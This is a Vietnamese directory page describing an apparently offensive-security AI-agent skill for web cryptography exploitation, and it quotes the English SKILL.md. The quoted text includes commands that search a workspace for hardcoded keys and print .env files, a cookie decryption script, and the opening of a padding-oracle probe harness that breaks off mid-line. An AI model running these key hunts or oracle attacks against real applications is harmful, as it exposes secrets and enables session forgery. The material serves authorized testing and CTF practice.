crypto
Skill này làm gì
Skill này hướng dẫn agent tìm mã hóa và ký số yếu trong ứng dụng web, như cookie hoặc token. Dành cho người kiểm thử bảo mật làm việc trên mục tiêu được ủy quyền hoặc thử thách luyện tập.
Khi nào nên dùng
- ✓Khi cookie đăng nhập hoặc token của một trang có vẻ được mã hóa và bạn muốn kiểm tra xem nó có thể bị thay đổi không.
- ✓Khi một thử thách hoặc rà soát bảo mật nhắc đến vấn đề block cipher hoặc HMAC.
- ✓Khi bạn cần một cách có cấu trúc để xác nhận điểm yếu mật mã trước khi thử khai thác.
Liên kết skill
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/crypto/SKILL.mdSao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.
Cách dùng
Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.
Tin nhắn có sẵn để dán
Dành cho Claude Code, Codex hoặc Cursor: chạy lệnh trong thư mục dự án của bạn và skill sẽ được cài đặt.
Tải tệp SKILL.md về và thả vào thư mục skill của agent.
Ví dụ cách nhờ AI
“Bạn có thể kiểm tra xem cookie đã mã hóa trong ứng dụng của tôi có thể bị thay đổi hoặc giải mã bởi người ngoài không?”
5 skill mới mỗi tuần. Đọc chỉ 1 phút.
Cách hoạt động
Agent tìm một tín hiệu rõ ràng cho thấy máy chủ chấp nhận hay từ chối dữ liệu đã bị sửa, rồi dùng tín hiệu đó để kiểm tra điểm yếu trong giới hạn số yêu cầu cố định.
Nội dung kỹ thuật (SKILL.md gốc)
Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.
Web Crypto Exploitation
Exploits applications that misuse symmetric ciphers (CBC/ECB), MACs (HMAC, hash-length extension), or token signers (JWT). The decisive trick is almost always: find the oracle, prove the oracle is real, then iterate within a hard request budget. Without the proven oracle the attack burns the cycle.
Step 0 — Key Discovery (Do Before ANY Network Attack)
Check if the application key is hardcoded in source. CTF challenge apps frequently embed keys in source code. If you have filesystem access to the app, run this before any network probe:
# Find app source in the workspace
find /workspace -name "*.py" -o -name "*.js" -o -name "*.rb" -o -name "*.php" 2>/dev/null | head -20
# Grep for hardcoded keys
grep -rn 'AES_KEY\|SECRET_KEY\|key\s*=\s*[b'"'"'"'"'"'"'"'"']\|password\s*=' /workspace/*/app/ 2>/dev/null | head -20
# Also check environment files
cat /workspace/*/.env 2>/dev/null; cat /workspace/*/app/.env 2>/dev/null
If the key is found, decrypt offline immediately — no oracle, no network requests:
import base64
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives import padding as crypto_padding
KEY = b'C' * 32 # replace with discovered key
cookie = "<base64-cookie-from-browser>"
raw = base64.b64decode(cookie)
iv, ct = raw[:16], raw[16:]
cipher = Cipher(algorithms.AES(KEY), modes.CBC(iv))
pt = cipher.decryptor().update(ct) + cipher.decryptor().finalize()
# Remove PKCS7 padding
unpadder = crypto_padding.PKCS7(128).unpadder()
plaintext = unpadder.update(pt) + unpadder.finalize()
print("plaintext:", plaintext)
Only proceed to the oracle-based attack below if no key is found in source.
Recognition Signals
Trigger this skill when ANY of the following are present:
- Base64 cookie / token whose decoded length is a multiple of 16 (AES-CBC) or 8 (DES/3DES). Length boundaries are the giveaway:
len(b64decode(token)) % 16 == 0and not 32 or 48 → likely 1-2 blocks of CBC;% 16 == 0with 32-64 bytes → IV+ciphertext pattern. - Distinct error responses for "invalid padding" vs "invalid auth/decryption". Status code, body, length, or even response time differences across the two failure modes ARE the oracle. If the two modes look identical, no oracle.
- JWT in
Authorization: Bearer <three-base64-segments-separated-by-dots>. Always inspectalgheader (alg=none,alg=HS256with public-key confusion,alg=RS256→HS256substitution). - Repeated 16-byte ciphertext blocks within a single token — direct ECB tell. Decode base64, slice into 16-byte blocks, look for duplicates.
- Server returns separate encrypted blob + tag/HMAC concatenated — candidate for HMAC bypass / hash-length extension if the MAC scheme is weak (e.g.
MD5(secret || message)). - Challenge tag includes
crypto,cipher,oracle,captcha,encrypted_captcha,padding,hmac_bypass,jwt,length_extension.
Confirm-Oracle Gate
STOP — before iterating any payload, prove the oracle is real. The single most common mis-allocation here is hammering thousands of padding-oracle requests against a server whose two error modes are actually identical. The gate is one in-file probe that issues exactly two requests and prints both responses side-by-side.
Layout detection (run before the gate): Decode the token and determine the IV/CT layout. AES-CBC tokens always use IV(16) || CT(16 * N) — the first 16 bytes are always the IV. Confirm:
import base64
raw = base64.b64decode("<TOKEN>")
print(f"total bytes: {len(raw)}, blocks: {len(raw)//16}")
# len==32 → IV(16) + 1 ciphertext block (16 bytes of plaintext)
# len==48 → IV(16) + 2 ciphertext blocks (32 bytes of plaintext)
# len==64 → IV(16) + 3 ciphertext blocks (48 bytes of plaintext)
# The IV is ALWAYS raw[:16]. Ciphertext is raw[16:].
Also identify the correct cookie/parameter name. Check the response headers from a GET request to confirm the cookie name:
curl -sv "$TARGET/" 2>&1 | grep -i 'set-cookie'
Use that exact cookie name (e.g. captcha, session, token) in every subsequent request.
timeout 60 python3 -u -c '
import base64, requests, sys
URL = "https://<TARGET>/decrypt"
TOKEN = "<base64-cookie-or-token-from-recon>"
ct = bytearray(base64.b64decode(TOKEN))
# Probe A: flip the LAST byte of the SECOND-TO-LAST block (corrupts plaintext padding of last block)
flipped = bytearray(ct)
flipped[-1
Câu hỏi thường gặp
Skill có cần khóa bí mật của ứng dụng không?
Không, nhưng trước hết nó kiểm tra xem khóa có bị lộ trong mã nguồn không. Nếu có, skill có thể giải mã dữ liệu ngoại tuyến mà không cần gửi yêu cầu.
Vì sao skill đặt giới hạn số yêu cầu?
Ngân sách yêu cầu cố định giúp các kiểm tra không chạy quá lâu hoặc làm quá tải mục tiêu.
Skill bao gồm những loại mã hóa nào?
Nó bao gồm các trường hợp phổ biến như block cipher CBC và ECB, kiểm tra HMAC và ký JWT.
Chi tiết
Mô tả gốc của tác giả
Web crypto exploitation — padding-oracle (Vaudenay), AES-CBC bit-flipping / IV manipulation, AES-ECB pattern attacks (cut-and-paste, prefix/suffix recovery), HMAC bypass, hash-length extension, JWT alg confusion. Covers detection signals, working in-file Python harnesses (concurrent.futures, timeout=5, python3 -u, bounded request budget), and the confirm-oracle gate that must fire before iteration.
Độ phổ biến
- Sao GitHub
- 6.5k
- Vị trí xếp hạng
- #14056
- Giấy phép
- Apache-2.0
- Cập nhật
- 1/11/2026
Bình luận
- …
Thêm skill từ kho mã này
detector-overview
6.5kGiúp agent của bạn đọc code mà một công cụ quét đã đánh dấu, rồi quyết định điểm nào là lỗ hổng bảo mật thật và điểm nào là báo động giả.
exploiter-overview
6.5kGiúp agent của bạn ghép nhiều lỗ hổng bảo mật đã xác nhận thành một chuỗi kiểm thử và kiểm tra chuỗi đó có thể gây hậu quả đến đâu.
llm-redteam-overview
6.5kGiúp agent của bạn tìm đúng hướng dẫn red-team AI cho một bài kiểm thử, bao quát 15 nhóm chiến thuật từ prompt injection đến lạm dụng mô hình.
aatmf-t01-prompt-injection
6.5kGiải thích prompt injection, khi các chỉ dẫn ẩn cố ghi đè một hệ thống AI, để chuyên gia bảo mật có thể kiểm tra lỗi này.
Skill tương tự
reverse-engineer-anything
422kGiúp agent của bạn xem bên trong các app và package đã phát hành để giải thích tính năng, so sánh phiên bản hoặc hướng dẫn dựng lại bằng công cụ REA.
1password
394kGiúp agent của bạn cài đặt CLI của 1Password, đăng nhập, và đọc hoặc đưa thông tin bí mật vào mà không in giá trị ra cuộc trò chuyện.
healthcheck
394kGiúp agent của bạn rà soát bảo mật máy tính hoặc máy chủ đang chạy OpenClaw, như SSH, tường lửa, cập nhật và sao lưu, rồi đề xuất cách sửa an toàn.